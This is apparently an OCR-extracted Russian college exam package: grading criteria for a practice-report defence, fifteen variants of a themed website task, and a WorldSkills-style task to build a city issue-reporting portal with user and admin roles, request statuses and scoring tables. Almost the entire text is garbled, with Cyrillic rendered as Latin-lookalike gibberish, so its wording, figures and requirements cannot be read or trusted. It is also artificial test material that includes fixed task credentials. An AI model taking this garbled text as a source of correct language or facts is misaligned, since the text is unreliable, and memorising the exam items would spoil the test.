HOPMAaTUBHBIX JTIOKYMEHTOB;

— 0e3 3aTpyaHEHUS OTBEYAeT Ha
JIOTIOJIHUTEJIbHBIE BOPOCHI.

«y (xoporo)

— COOTBETCTBHE COJCPKAHHS OTUETA
nporpamMmme MpoxXoXXJACHUA INPaKTUKNA — OTYCT
coOpaH B MMOJHOM 00BEME;

— HE Be3/Ie NPOCICKHBACTCS
CTPYKTYPUPOBAHHOCTH (YE€TKOCTb,
HyMepalusi CTPaHull, HOAPOOHOE OTJIaBICHUE
0TUeTa);

— OT4eT 0(OPMIIEH B COOTBETCTBHH C
MeTtoanyecKuMU PEKOMEHTAIMSIMH K
COCTaBJICHHUIO OTYETa 110 MPAKTUKE;

— HC Ha €HBI CPOKH Caa4u OTYECTA,
9

— CTYACHTOM MPECABABIICH ONTHUMAIBLHBIA
00BeM y'MCHI/II\/’I H IPAKTUYCCKOI'O OIIbITA,

— ACMOHCTPUPYCT 3HAHUC HOPMATUBHBIX
JOKYMCHTOB.

«3»
(YOBIETBOPUTENLH

0)

— COOTBETCTBHUE COJICP)KaHUS OTUETa
porpaMMe IPOXOKJACHUS TPAKTUKHU - OTUET
coOpaH B MOJTHOM 00BEME;

— HE Be3JIe TPOCIICIKNBACTCS
CTPYKTYPHUPOBAHHOCTH (4ETKOCTb,
HyMepaLus CTpaHHuIl, TOAPOOHOE OTJIaBICHUE
0T4eTa);

— B 0()OpPMJICHUH OTYETa MPOCICIKUBACTCS
HEOPEIKHOCTB;




— HapyUIEHbl CPOKHU CAAYU OTYETA;

—  JIEMOHCTPHUPYET HEYBEPEHHO 3HAHUE
HOPMATHUBHBIX JIOKyMEHTOB, CJ1a00 BIIaJeeT
po¢eCCHOHAIBHON JICKCHUKOM;

- CTYACHTOM IIPCABABJIICH MUHHUMAaIbHBIM
00BeM YMeHI/Iﬁ H IIPaKTUYCCKOI'O OIIbITAa,

- 3aTPpyAHACTCA IIPU OTBCTAX HA
JOIMOJIHUTCIIbHBIC BOIIPOCHI.

«2» — COOTBETCTBHUE COJICPKAHUS OTYETA
(HeynoByIeTBOpUTEN | IPOTrpaMMe NPOXOXKIEHHUS IPAKTUKH — OTYET
bHO) coOpaH He B ITOJTHOM 00beME;

— HapylleHa CTPYKTYPHUPOBAaHHOCTh
(4eTKOCTh, HyMepalus CTpaHull, MOAPOOHOE
OTJIaBJICHUE OTUYETA);

— 0oT4eT 0pOpPMIICH HE B COOTBETCTBHH C
MeTroanuecKuMu peKOMEHAIUAMHU K
COCTaBIICHUIO OTYETA IO MPAKTUKE;

— HapyUIeHbI CPOKU CAAYU OTYETA;

— ACMOHCTPUPYCT HE3HAHUC HOPMATUBHBIX
JOKYMCHTOB.

2.2. Monyab 2: Bpems npoBeieHus: 6 4acos.

IIpyMepHbINA BAPUAHT a3aHUS HA MOAYJIb 2

NHcTpykuys: BeIMOIHUTE IPaKTUYECKOE 3a/1aHHE

Pa3paborare KIMEHTCKYyI0 YacTh caliTa O BO3HHUKHOBEHHME KHHUronedaranus B EBporme,
UCIOJIb3YSl IPOrpaMMHOE OOecrieueHre M0 CO3JaHUI0 CTPYKTYphI M JM3aiiHa caiiTa o BapuaHTaMm, B
KOTOPOM JIOJI’KHO OBITh!

1 Crpykrypa caiira.

2 Jlu3aiin caiiTa.

3 DkpaHHbIe (POPMBI BCEX CTPAHUI] B €TUHOM CTHUIIE.

Kpurepun ounenox:

«5» - Omeemul Ha NOCMAasiIeHHble BONPOCHL U3NALATOMCA TOSUYHO, NOCTIe008AMENILHO U He
mpebytom 0OnoIHUMeNbHbIX noscHenutl. [101HO pacKpblearomces NPUUUHHO-CLeOCMBEHHbLe
CBA3U MeAHCOY ABNEHUAMU U cObbIMUAMU. []enaromcs 000CHOB8AHHbIE 8bIEOOUL.

«4» - Omsemvl Ha NOCMABIEHHbIE BONPOCHI U3NALAIOMCS CUCMEMAMUSUPOBAHO U
nocnedosamenvro. Mamepuan uziacaemcs ysepenno. Packpvlmvl npuiuHHO-C1e0CmeeHHble
CBA3U MeAHCOY ABNEHUAMU U COOLIMUAMU. [{eMOHCmMPUpYemcs yMeHue aHalusuposams
Mamepuai, 0OHAKO He 8Ce 8bLBOObL HOCAM AP2YMEHMUPOBAHHDIL U 00KA3AMENbHbIL Xapakmep.
«3» - [onyckaiomes napywenus 6 nociedosamenbHocmu uznodxcenus. Henonno
PACKPBIBAIOMCS. NPUYUHHO-CIEOCBEHHbLE CEA3U MEHCOY SAGNECHUIMU U COOLIMUIMU.
Lemoncmpupyromes nosepxHocmmuvie 3HaHUsL BONPOCA, ¢ MPYOOM PEUaromcs KOHKpemHbule
s3a0auu. Umeromces 3ampyonenus ¢ 861600aMU.

«2» - Mamepuan usnazaemcs Henocie008amenbHo, coOU8UUB0, He npedcmasisien
onpeoeneHHol cucmemsl 3HAHU No ucyuniune. He packpeieaomes npuduHHO-C1e0CmeeHHble
C8A3U MeAHCOY AsLeHUAMU U cobbimuamu. He nposooumcsa ananus. Bvisoobi omcymcemeyom.
Omeemvl Ha OONOIHUMENbHBIE BONPOCHL OMCYMCMBYIOM.



BapuanTe! 3aannii
Bapuant Ne 1
Pa3paboTaTh KIMEHTCKYIO 4YacTh caiiTa O BO3HMKHOBEHHE KHHUTOIleUaTaHuss B EBpore,
UCIOJIBb3YS MIPOrpaMMHOE OOecreueHre Mo CO3[JaHuI0 CTPYKTYphI M IM3aiiHa caiiTa 0 BapHaHTaM, B
KOTOPOM JIOJIKHO OBITh!
1 Crpykrypa caiira.
2 Jluzaiiu caiita.
3 DkpaHHbIe POPMBI BCEX CTPAHHUII B €TUHOM CTHIIC.
Bapuanrt Ne 2
Pa3paboraTe KIuEHTCKYI0 4acTh caiita «Cucrema 3amuThl uHQopMmanuu B HHTepHerey,
UCIOJIBb3YSl MPOrpaMMHOE OOecrieueHre Mo CO3/IaHUI0 CTPYKTYpPHl U JU3aiiHa caiiTa 1o BapHaHTaM, B
KOTOPOM JIOJIKHO OBITH:
1 Ctpykrypa caiita.
2 Jluzaiiu caiita.
3 DkpaHHbIe POPMBI BCEX CTPAHMII B STUHOM CTHIIC.

Bapuant Ne 3

Pa3paboraTe KiIMEHTCKyr0 u4acTh caiita «becrnpoBogHoit MHTepHET: 0OCOOEHHOCTH €ro
(GYHKIIMOHUPOBAHUS», UCIIONB3YSl MPOTpaMMHOE OOECTIeYeHHE MO CO3/IaHUI0 CTPYKTYpHI M JW3aliHa
caiita 1o BapuaHTam, B KOTOPOM JIOJIKHO OBITh:

1 Crpykrypa caiira.

2 Jluzaiiu caiita.

3 DkpaHHbIe POPMBI BCEX CTPAHMII B STUHOM CTHIIC.

Bapuant Ne 4

Pa3paborare kimeHTcKyto uacTh caiita «lIporpammsl, pa3paboTaHHbBIE ISl pabOTHI C
AJIEKTPOHHOMN IOYTOM», UCHOJIB3YSl MPOrpaMMHOE 00ECIE€UYEeHHE 110 CO3/AaHUI0 CTPYKTYPBl U TU3aiiHa
caiita 1o BapuaHTam, B KOTOPOM JIOJPKHO OBITh:

1 Crpykrypa caiira.

2 Jlu3aiin caiiTa.

3 DkpaHHble (POPMBI BCEX CTPAHUI] B €JUHOM CTUIIE.

Bapuanr Ne §

PazpaboraTh KIMEHTCKYIO YacTh caiiTa «Pa3HOBHMAHOCTH MOUCKOBBIX cucTeM B MHTepHeTe»,
UCMOJB3Yysl MPOrpaMMHOE OOeclieueHue 10 CO3JIaHUI0 CTPYKTYpHI U AM3aifHa caiiTa mo BapHaHTaMm, B
KOTOPOM JIOJI’KHO OBITh!

1 Crpykrypa caiira.

2 Jlu3aiin caiiTa.

3 DxpaHHble POPMBI BCEX CTPAHUIL B €JUHOM CTHIIE.



Bapuant Ne 6

Pa3paboraTe KIMEHTCKYI0 dYacTh caiiTa «OCHOBHbIE NPHUHLHUIBI (YHKIMOHUPOBAHUS CETH
WuTepHer», ncnonb3ys MporpaMMHOE OOecrieueHue MO CO3/JAaHUI0 CTPYKTYpPHI M JIM3aiiHa caiiTa 1o

BapHaHTaM, B KOTOPOM JIOJIKHO OBITh:
1 Crpykrypa caiita.
2 Jluzaiiu caiita.
3 DkpaHHbIe POPMBI BCEX CTPAHUII B €TUHOM CTHIIC.

Bapuant Ne 7
Pa3zpaboraTh KIMEHTCKyH 4acTh caiiTa «BcemupHas cerb MHTepHEeT: AOCTYNBl K CETH H
OCHOBHBIC KaHaJbl CBSI3U», UCIOJb3ysd HPOrpaMMHOE OOECHEeUEHHE IO CO3JAHUI0 CTPYKTYPbl H
IU3aiiHa caiiTa o BapuaHTaM, B KOTOPOM JIOJIKHO OBITh:
1 Crpykrypa caiira.

2 Jluzaiiu caiita.
3 DkpaHHbIe POPMBI BCEX CTPAHMII B STUHOM CTHIIC.

Bapuanr Ne 8
Pa3zpa0oTaTh KIMEHTCKYIO 4acTh caiiTa «Pa3HOBHJIHOCTH KOMIIBIOTEPHBIX BUPYCOB M METOJIbI
3aUThl OT HUX. OCHOBHBIC aHTUBUPYCHBIE IPOTPaMMBbI», HCIIOJIb3YSl IPOrPaMMHOE OOecriedeHue 1o
CO3/IaHUIO CTPYKTYPHI U IM3aliHa caiiTa 1o BapuaHTaM, B KOTOPOM JIOJKHO OBITh:
1 Crpykrypa caiira.
2 Jluzaiiu caiita.
3 Dkpannbie POPMBI BCEX CTPAHUI] B €MHOM CTHUIIC.

Bapuant Ne 9
Pa3paborars KiMeHTCKYI0 4acTh caiita «OCHOBHBIE CIIOCOOBI MpeNCTaBICHUS HHPOPMALUU 1
KOMaH/I B KOMIIBIOTEPE», HCII0JIb3Ysl IPOrPAMMHOE 00€CIIeYeHUE M0 CO3JaHHUI0 CTPYKTYPBI U U3aliHa

caiiTa Mo BapuaHTaM, B KOTOPOM JIOJPKHO OBITh:
1 Crpykrypa caiira.
2 Jlu3aiin caiiTa.
3 DkpaHHbIe (POPMBI BCEX CTPAHUI] B €JUHOM CTUIIE.

Bapuant Ne 10
PazpaboraTe KiIMEHTCKyl0 dYacTh caita «MHQOpMalMOHHBIM A3BIK Kak CpPEICTBO
npescTaBiIeHus] UHPOpMalUu», UCIONb3ys MPOrpaMMHOE OOecreueHre MO CO3JaHHI0 CTPYKTYPHI U
Iu3aifHa caiita o BapuaHTaM, B KOTOPOM JOJIKHO OBITh:
1 Crpykrypa caiira.
2 Jlu3aiin caiiTa.
3 DkpanHble POPMBI BCEX CTPAHUI] B €JUHOM CTHUIIE.

Bapuant Ne 11

Pa3paboTtarh KIMEHTCKYIO YacTh caiita 0 «Co3anue, nepepadoTka U XpaHeHne HHPOpMaLu B
TEXHUKE», HCIIOJIb3Ysl MPOrpaMMHOE OOecreueHue MO CO3JaHHI0 CTPYKTYPhl M Ju3aiiHa caifta mo

BapHaHTaM, B KOTOPOM JIOJIKHO OBITh:
1 Crpykrypa caiira.
2 Jlu3aiiH caira.
3 DxpanHbIe GOPMBI BCEX CTPAHHMI] B €IMHOM CTHJIC.



Bapuant Ne 12

PazpaboTtaTe KIMEHTCKYyI0 4acTh caiTta «OCHOBHBIE 3Tambl WH(pOpMATHU3AMKM OOIIECTBAY,
UCIOJIb3YSl MIPOrpaMMHOE OOecrieueHre Mo CO3JaHUI0 CTPYKTYphI M JM3aiiHa caiiTa o BapuaHTaM, B
KOTOPOM JOJIPKHO OBITh:

I Crpykrypa caira.

2 Jluzaiiu caiita.

3 DkpaHHbIe POPMBI BCEX CTPAHMUII B €TUHOM CTHIIC.

Bapuant Ne 13

PazpaboTarh KIMEHTCKYIO 4YacTb caiiTa 00 WCTOpPUU TOSBICHUS HWH(POPMALMOHHBIX
TEXHOJIOTUH, UCIIOJIB3Ysl NIPOTrPaMMHOE 00ECIIEUEeHHE MO CO3AAHUI0 CTPYKTYphl M JM3aiiHa caiTa 1o
BapHaHTaM, B KOTOPOM JOJDKHO OBITh:

1 Ctpykrypa caiita.

2 Jlu3aiiH caira.

3 DkpaHHble (POPMBI BCEX CTPAHUL] B €JUHOM CTUIIE.

Bapuant Ne 14

Pa3paboraTh KIMEHTCKYI0 4YacThb caiita «VcTopus pazBuThs HHPOPMATHKU KaK HAyKW»,
UCIOJIB3YS MPOrpaMMHOE OOecreueHre Mo CO3JaHUI0 CTPYKTYphI M IM3aiiHa caiiTa 1Mo BapHaHTaM, B
KOTOPOM JIOJIKHO OBITH:

1 Crpykrypa caiira.

2 Jluzaiiu caiita.

3 DkpanHbIe GOPMBI BCEX CTPAHMI] B €IMHOM CTHJIE.

Bapuant Ne 15

Pa3pa0oTaTh KJIMEHTCKYIO YacTh caiiTa O MEPBBIX M3AaHUAX pycckoil a30yku (XVI - XVII BB.),
UCMOJb3Yysl MPOrpaMMHOE OOecliedeHre M0 CO3/IaHUI0 CTPYKTYpHI U JHM3aiiHa caiiTa 1o BapuaHTam, B
KOTOPOM JIOJI’KHO OBITh!

1 CrpykTypa caiira.

2 Jluzaiiu caiita.

3 DxpaHHble POPMBI BCEX CTPAHUI] B €JUHOM CTHIIE.



2.3. Monayas 3: 3aganue no cranaapty Bopackuiic

BBenenue

B nocnennee BpeMs npo6iemM B ropojiax CTaHOBUTCS Bce Oonbliie U 6osbie. He kaxyro
npobsieMy ymaeTcsi peuIuTh OBICTPO, MOTOMY YTO KOMITAHUM OTBETCTBEHHBIE 32 PEIICHHE
npo0JsieM He Bcera 3HAIOT O HUX.

Bam HeoOxoaumo co3gath ropojackoil mopran «Craenaem Jiydile BMeECTe!» Mo mpuemy
3agBOK Ha YCTpaHEHHE MpOOJIeM B TOpoje: SMOYHBI PEMOHT JOPOT, PEMOHT JETCKUX
TUIOLIA/IOK, 3/JaHUN COOPYKEeHHM U T.1. BaM mpencTouT npoieMOHCTPUPOBATh CBOU 3HAHUS B
pa3paboTke BeO-mopTaia C MCIOJIB30BAHUEM TaKUX TEXHOJIOTMH Kak Jgu3ailH, BEPCTKa,
MpPOrpaMMHUpPOBAaHUE Ha CTOPOHE KJIMEHTAa M cepBepa. Takke HE0OXOAUMO IM03a00TUTHCS O
3alUTe TPOEKTa: OT B3JI0Ma, OT HECAHKIMOHMPOBAHHOTO JOCTYyNa K aJMUHUCTPATUBHBIM
(GYHKIUSAM U T.J.

Bl MokeTe BCToNIb30BaTh MpeocTaBieHHbIe (ppeiMBOpKU 1 OubamoTeku: Yii2, Laravel
6.5, Django 2.2.4, jQuery, jQuery Ul, Vue.js.

Bam HeoOxomumo mnpoayMarh [u3ailH M CBEpCTaTh €ro, a TaKXKe pealn30BaTh
(GyHKIIMOHAIbHBIE BO3MOKHOCTH CEPBHCA B COOTBETCTBUH C TEKYIITUM 3aJJaHUEM.

Crout MpHUHATH BO BHUMAaHHUE TOT (PAKT, YTO OCHOBHAS YaCTh MOJIH30BATEIECH HCIIOIb3YyeT
calT depe3 MOOUIBHBIN TenedoH. OOs3aTeIpHO M03a00ThTECH 00 yIO0OCTBE HCIOIB30BAHUS
cepBrca U OOpaTHOW CBSI3M MEX]y MOPTAJIOM M ToJjb3oBareisiMu. Llenpio cozmanust caiita
SIBJISIETCS] IPUBJICUCHUE MOJIOZICKU OT 14 1o 25 neT k npobiiemam 6J1aroycTpoiicTBa ropoja.

Taxxe BaM HEOOX0IUMO pa3pabOTaTh JIOTOTHUII, OTBEUYAOIINN TPEOOBAHUSM MTPOCKTA.

JIOTIOTHUTENEHBIM IPEUMYIIECTBOM Oyner peanu3anus WHTEPAKTHUBHBIX
B3aMMO/ICHCTBHUH C MOJIb30BaTEIeM, aHUMAIUS M1 MUKPOaHUMAITHSI.

BHUMAHMUE! IlpoBepsiTbes OyAyT TOJBKO PadoThl, 3arpyKeHHbIe Ha cepBep!

Onucanue mpoekTa W 3aaad. Bama 3amada - pa3paboTarh AW3ailH caiiTa, KOTOPHIM
y100HO T0JIb30BaThCs Ha cMapTdoHax ¢ paszpemieHueM 720x1440px.

HecMoTpss Ha TO, 4TO OCHOBHas IiesieBasi Tpymma OyAeT MOJIb30BaThCs BAlIUM BEO-
pecypcoM co cMapT(OHOB, BBl JOJKHBI MPEAYCMOTPETh BO3MOKHOCTh y/IOOHOM paboThI Ha
caiite ¢ xommbioTepoB. [loaToMy Bamia BepcTka JOJKHA OBITh aJaNTUBHA M KOPPEKTHO
OTKPBIBATBCA CO CIEIYIOIINX YCTPOUCTBAX:

— cmMmaptdonsl ¢ paspemenuem 720x1440px;
— KOMIBIOTEPHI C HUPUHOM 3KkpaHa oT 1200px.

CtpykTypa cTpaHull Ajig CMapTPOHOB U KOMITBIOTEPOB JOKHA OTIINYATHCS.

Crnenyer oOpaTUTh BHUMaHUE, YTO AW3aiH calTa JOKEH OBITh Y00€H M MOHSTEH s
WCIIONb30BAHUS, COOTBETCTBOBAaTh COBPEMEHHBIM TEHACHIMUSAM, a TaKKE YUHUTHIBaTh
0ocobeHHOCTH MaThopM, AJisi KOTOPBIX co3JaeTcs calT. Bece co3maHHble CTpaHUIBI JOTKHBI
MMETh COTJIaCOBaHHBIN UHTEpdETC.

[Ipn pa3paboTke BEPCTKHM HEOOXOJUMO HWCIOIB30BaTh OJIMH W3 MPEAOCTaBICHHBIX
mpuQTOB.

Ha caiite 10oKHBI OBITH peaTU30BaHbI CAEAYIONIUE CTPAHUIIBI:



['maBHas crpaHMma, NPEAOCTABISIONIAS BO3MOXKHOCTH AaBTOPHU3ALUUU M PErUCTPALMHU
I10JIb30BaTEIICH.
JInuHble KAOMHETHI AIMUHUCTPATOPA U ABTOPH30BAHHBIX MOJIH30BATEICH
JononaurtensHas nHGOpPMAaIKS MO KaKI0M U3 CTpaHMII PECTaBIeHa HIXKe. Bbl MoxkeTe
CO371aBaTh JIONOJIHUTENIbHBIE CTPAHULIBI IO CBOEMY YCMOTPEHUIO.
VYurure, 4To AM3alH U BEpCcTKa OyAyT OLIEHUBATHCS B IEPBYIO OUYEPEb MO CTPAHULIAM:
I'maBHas cTpanuna
JInuHbI KAOMHET aBTOPU30BAHHOTO MOJIb30BATENS
JlocTyn K 3TUM CTpaHHULaM JI0JKEH OBITh OUYE€BH/IHBIM.
Jlorotum fnoixkeH ObITh peagn30BaH B COOTBETCTBUU C TPEOOBAaHUSIMU:
B noroTune nokHBI OBITH HCIIOJIB30BAaHBI OCHOBHBIE 1[BETA CAlTa;
Jlorotumn npenacrasisieT co0oit n300paxeHue;
Pa3paGotanHblil TOrOTHN JOMKEH OBITH COXpaHEH Ha cepBepe B KOPHEBOM KarTajore B
aupekTopuu logo co cnenyromum nmereM - 10go.png
[TopTan nomkeH nogAaepKUBaTh BO3MOKHOCTH 3 TUIIOB MOJIb30BaTENECH:
— Tocte
— ABTOPHU30BAaHHBIN MOJIB30BATEIIb
— AIMUHUCTpPATOP
Bo3moxkHoCcTH rocTs
— Bxon B 1nuHBIi KaOUHET MO JIOTUHY U MapOITI0
— Perucrpanus
— IIpocMOTp riaBHOM CTPaHUIIBI
B03MOKHOCTH aBTOPH30BAHHOI'0 MOJIb30BATE/IA
— Peructpanusi, aBTopu3anus, BEIXO/;
— Co3ganue 3as8BKH Ha pElICHUE TPOOIEMBbL;

[IpocmoTp cBOUMX 3a5BOK;
— VYjaneHue cBOEH 3asBKH.
Paznensl agMuaucTparTopa
— Cwmena cratyca 3asBKkHU Ha «PemeHa» min « OTKIOHEHa.
— VYmopaBieHue KaTeropusMy 3asiBOK (HampuMmep, «PEeMOHT JIOpor», «yOopka
Mycopa» U Ap.)

ABTOpH3aLM N0JIb30BaTEJIsS U A/IMUHUCTPATOPA

[Ipy BBOmE HEMpPaBWIBHON TMaphl JIOTHH-TIAPOJIH IOJI30BATENI0  OTOOpaKaeTcs
cooO1ieHne 00 OMKOKE.

[Ipu ycmemrHo#l aBTOpHW3AIlMU TOJH30BATENIb JOJKEH IEPEHANPABIATHCS B JIMYHBIN
KaOWHET ¢ BO3MOXXHOCTBIO MPOCMOTPA CBOUX 3asiBOK. JIMUHBIN KaOWHET HOCTYNEH TOJIBKO
aBTOPU30BAHHOMY IT0JIb30BATEIIO.

ITanens ynpaBiaeHus: CAalTOM JOCTYIIHA TOJIBKO aIMUHHUCTPATODY.

Perncrpanus noJjb3oBareJist

Bes Banmupmanus moimkHa paboTtaTh 0€3 mepe3arpy3ku CTpaHHUIIbI, BCE MO 00s13aTebHbIE
JUTSI 3aMIOTHEHUS:

— ®UO - Toabko KUpULIMYECKUe OYKBBI, AePUC U MPoOesbl - MPOBEPKa HA CTOPOHE
KIIUEHTA;



— JloruH - TONBKO JATMHUIIA, YHUKAIBHBIM - MPOBEpPKAa HA CTOPOHE cepBepa, 0e3
nepes3arpy3ku CTpaHMIIbL;

— Email - Bammanssnii popmar email-anpec - mpoBepka Ha CTOPOHE KITUCHTA;

— Ilapouns;

— TloBTOp MapoJis - BBEAEHHOE 3HAUYE€HUE JOHKHO COBIAAATH C MApOJIEM;

— Cornacue Ha 00pabOTKY MEPCOHATBHBIX JAHHBIX - JOJHKHO OBITH

— OTMEYEHO.

B cayuae HecooTBeTCTBUSI JIOOBIM TpeOOBaHUSIM BBIBOJIUTCS aHUMHUPOBAHHOE
coobmeHne 00 omwuOKe, Moust C OMMOKaMU BBIIEISAIOTCA, JaHHbIE Ha CEpBEp HE
OTIIPABJISIOTCS.

Co3znaiite y4eTHYIO 3alUCh aJ]MUHUCTPATOPA C IOTUHOM admin ¥ TIapoJieM adminWSR.

Bce aBTOpu3oBaHHBIE IMOJIB30BATENM MOTYT BBIUTH U3 NpOUIs MO HaXKATUIO Ha
CCBUIKY/KHOTIKY «BBIX0m».

— Cosnmanmue 3as9BKH (Bce MO 00s13aTEIbHBI):

— Ha3sBanue;

— Omnucanue;

— Kareropus (BbIOOp U3 CYIIECTBYIONIUX KATETOPHIA);

®doto, neMoHCTpupymollee npobdiemy B oaHoMm u3 dopmatoB (jpg, jpeg, png, bmp)
MakcUMalbHbIN pazmep 10MO; npu HEBHITIOJHEHUU XOTsA Obl OJJHOTO M3 TpeOOBaHUM, 3asiBKa
HE COXpaHSETCs Ha CEPBEPE, BHIBOJAUTCS COOOIIEHHUS 00 OLIHNOKE.

Bpemennass Metka moOaBiieHHs] 3asBKHA CO3/1a€TCSl aBTOMATHYECKH TpU J0OABICHUHU
3asiBKU B 0a3y JIaHHBIX.

[Ipu noGaBneHuu 3asBKU OHA JOJKHA aBTOMAaTUUECKHU MOJYYUTh cTaTyc «HoBasy.

VY nanenue 3as1BKu

[Ipu ynaneHun 3asiBKM MOJIH30BATEINIO JIOJDKHO OBITH BBIBEICHO COOOIIEHHE C TPOCKOOM
MOATBEPAUTH >Kenaemoe aeictBue. [lonb3oBarens MOXKET YJaIUTh TOJBKO CBOKO 3asBKY,
CTaTyc KOTOPOU He ObLIT M3MEHEH aJMUHUCTPATOPOM Ha «PEIICHO» WU «OTKIOHECHAY.

[TpocMoOTp cBOMX 3aBOK

Ha ctpanuiie mpocMoTpa CBOMX 3asBOK HEOOXOAUMO OTOOPa3UTh CHMCOK CBOMX 3asiBOK
CO CIIEAYIOUIMMH MOISIMU:

— BpeMennas meTka
— Haz3Banue 3asBku
— Onwucanue 3asiBKU
— Kareropus 3asBku
— Crartyc 3asBku (HoBas, Pemena, OTkiioHeHa).

[To ymomyanuio OTOOpa)karOTCs BCE 3asBKH B MOpPsAKE M00aBleHUs 3asBOK (HEIABHO
n00aBIEHHBIC OTOOPAKAIOTCS B HaYaJIe TaOIHIIbI ).

Bam Heo6xoammo 100aBUTh BO3MOXKHOCTH (DHIIBTpALUM 3asBOK IO CTaTyCy, HalpuMmep,
0TOOpaXkeHHUE TOJBKO 3asBOK co ctarycoM «HoBas».

Ha rmaBHO#l cTpanuiie BeIBOAUTCS He Oojee 4 mocinegHUX pelieHHbIX mpobsieM ((orto
PEIIEHHOM MPOOIEMBI) CO CISAYIOIMUMH TOJISIMHU:

— BpeMennas metka
— HazsBanue
— Kareropus 3asBku



—  ®ororpadus

N3nauansHo BuaHa (ororpadus «mocie». [lpu HaBegeHun ykaszarens MblIIUM HA (HOTO
«Iocine», BMECTO HEro aHMMHUPOBAHO [OJDKHA OToOpaxarbcs Qororpadus «mo». CTuib
aHUMaIu: «maciradupoBanue». Ilocie BbpIBoJa yKaszaTens MBI C  H300paKeHUs
MOSIBIIICTCS HAa4YaJIbHOE H300paKeHHE «IIOClie» C TEeM Ke CTWIeM aHuMmanuu. l[Ipumep
peanu3aluy  AHUMHPOBAHHONH  CMEHBI  W300paXeHWH  JOCTYeH B  Bujaeodaiiie
«boyer/macmrabupoBanue.mp4».

Jlo6aBbTe Ha TTIABHYIO CTPAHUILY CUCTUHK:

KonmndecTBo pelieHHBIX 3a1BOK.

Nudopmanust o KoIWYeCTBE PEIIEHHBIX 3a/adyaX OOHOBISETCS aBTOMAaTHYECKH, Oe3
Iepe3arpy3ky CTPaHMIBI HE pexe yeM 1 pa3 B 5 cexkyH.

B cnydae u3mMeHeHHMs 3HAauYeHUs CUETYMKa JOJDKHO 3By4yaTh omosemieHue (Notif.mp3).
3HaueHne CYEeTYUKA JOJHKHO OOHOBIIATHCS C aHUMAIUEN.

CwmeHa craryca 3asiBKU

3asBke co cratycoM «HoBas» MOXXHO CMEHHTHh cTaTyc Ha «PemieHa» ¢ 00s3aTelbHBIM
npuKpemieHueM (noOasneHueM) ¢GoTorpaguu - J0Ka3aTeabCTBA PEIICHUS MPOOJIeMbI
(pororpacdus «ITOCJIIE).

3asBke co ctatycoM «HoBas» MOXHO CMEHHUTH cTaTyc Ha «OTKIOHEHa» ¢ 00s3aTEIbHBIM
yKa3aHUEM MPUIHUHBI OTKa3a.

CwmeHa ctatyca ¢ «Pemena» uin «OTKIOHEHa» HEBO3MOXKHA.

VYipaBineHue KaTerOpusiMH 3asBOK

AJIMHHHCTPATOP MOXKET T00ABUTH WM YJAINUTH KaTETOPHUIO 3asBOK.

[Ipyn ynaneHUM KaTeropuu NOJDKHBI OBITH YJAJCHBl BCE 3asABKU JIaHHOW KATETOPHH.
3asBKM 3TOM KaTeropuu HE OTOOPAKAIOTCS.

MHCTPYKIUA U1 YHACTHUKOB

[Topran nomkeH ObITh HOCTyNeH mo ampecy: http://XXXXXX-m1.wsr.ru/, rme Xxxxxx -
JIOTHH TOJIb30BATEISA, TIOTYYCHHBIN YIaCTHUKOM Ha WHAWBHYaTbHOE KapTOUKE

AJZIMMHUCTpAaTUBHAs TaHENIb JOJDKHA OBITH JOCTyNMHA 1O aapecy: http://XXXXXxX-
ml.wsr.ru/admin

Buumanue! JlocTynm KO BceM CTpaHULAM JOJDKEH OBITh pPEalu30BaH C TOMOIIbIO
3JIEMEHTOB MOJIb30BATENILCKOTO HHTEpdeiica.

Menua daiinel pacronaraloTcsi Ha cepBepe B mamnke public. Bel MoxeTe H3MEHSTh
MPeI0CTaBICHHBIC (DAWIIBI M CO3/IaBATh HOBBIC IS YIYUIICHUS TPUIIOKEHHUS.

[TpoBepsroTCst TONIBKO pabOTHI, 3arpyKEHHBIE Ha CEPBED.

Bamm HTML/CSS nomkeH ObITh BadugHBIM, a B KOHCOJM Opay3epa W Ha caiite
OTCYTCTBOBATh OMIMOKHU/TIPEIYIPEkKICHIS/OMOBEIIEHUS, CO3/IaBaeMble cpefcTBaMu JavaScript
u PHP.

Oruenka 6ynet mpousBoauThcs B Opaysepe Google Chrome.

Kputepun oneHku nmpuBecHBI B TAOIUIIE:


http://xxxxxx-m1.wsr.ru/
http://xxxxxx-m1.wsr.ru/admin
http://xxxxxx-m1.wsr.ru/admin

No Monyns, B Bpewms [Tposep baer
B KOTOPOM Cyneiicka st
" Kpurepui - A (ecnn OOBEKTUBH|
UCIIOJIB3YETCsI OOGast
. BBITIOJIH pazznein Yo ast
KPHTEPHE EHUs Bl HpUMCHHU
Opranuzanus
1 paboThl U 1 1 1.25 0.75 2.00
yIpaBlICHHE
KoMMyHuKaTUBH
2| bew 1 2 1.75 0.25 2.00
MEKJIUYHOCTHBIC
I'paduueckuit
3| jusaitu se6 1 6 uacos | 3 9.25 0.75 | 10.00
4 | Bepcrtka cTpaHull 1 4 0.00 10.00 10.00
IIporpammupoBa
5| ue na CTOpOHE 1 5 3.50 6,50 10.00
IIporpammupoBa
61 iue na CTOpOHE 1 6 0.00 10.00 10.00
cepBepa
Hroro = 15,75 28,25 44

I/ICXOI[H M3 MaKCHUMajJbHOro Oajia CTaBHTHLCS OLICHKa IIO NITHOAILHOM IIIKaje B

COOTBECTHUBUHU C TAOIULIEH:

0aJI0B IO MOIYJISIM

3aJaHus

MakcumanbHbIN «2» «3» «» «5»
Oann

3ananue Cymma 0,00% - 20,00% - 40,00% - 70,00% -
MaKCUMaJIbHBIX 19,99% 39,99% 69,99% 100,00%




I, IHAKET DK3AMEHATOPA
YCJI0BUA

KosnuyecTBo BapnaHTOB 3a/1aHuil 1J151 9Kk3aMeHyommxcst — Moayine 1 — 15 BapuanToB
Bpemsi BbINOJIHEHHA 3K3aMEHa IO MOAYJII0 18 yacos
Monynp 1: 3amuTa oTyeTa no npakTuke — 6 4acoB MakCUMaJIbHasI OLEHKa 5 0ayuioB
Monaynb 2 — 6 yacoB MakcHMaJbHas OIIEHKA 5 0aioB
Monaynb 3 — 6 yacoB MakcUMajbHasl OIIEHKa 5 6ayuIoB
Bcero na sk3amen — 18 yacoB — OIleHKa BBIYHCIISETCS KaK CPEeAHHUNA Oall 3a TPH MOIYIIA.
YciaoBus BbIOJTHEHHS 3aaHUI:

— 3aziaHus BBIIOJIHAIOTCS IPU OTCYCTBUU NOJKIIIOUYEHHU K ceTh VIHTepHeT.

— Bo3moxHO ucmno3oBatk cripaBoyHuk Zeal

6. Ilepeyuenr MaTepuajioB, o0O0OpPyI0BaHUSI MW HMHPOPMANMOHHBIX HCTOYHUKOB,
HUCIO0JIb3yeMbIX B arTecTanuu mo MJIK

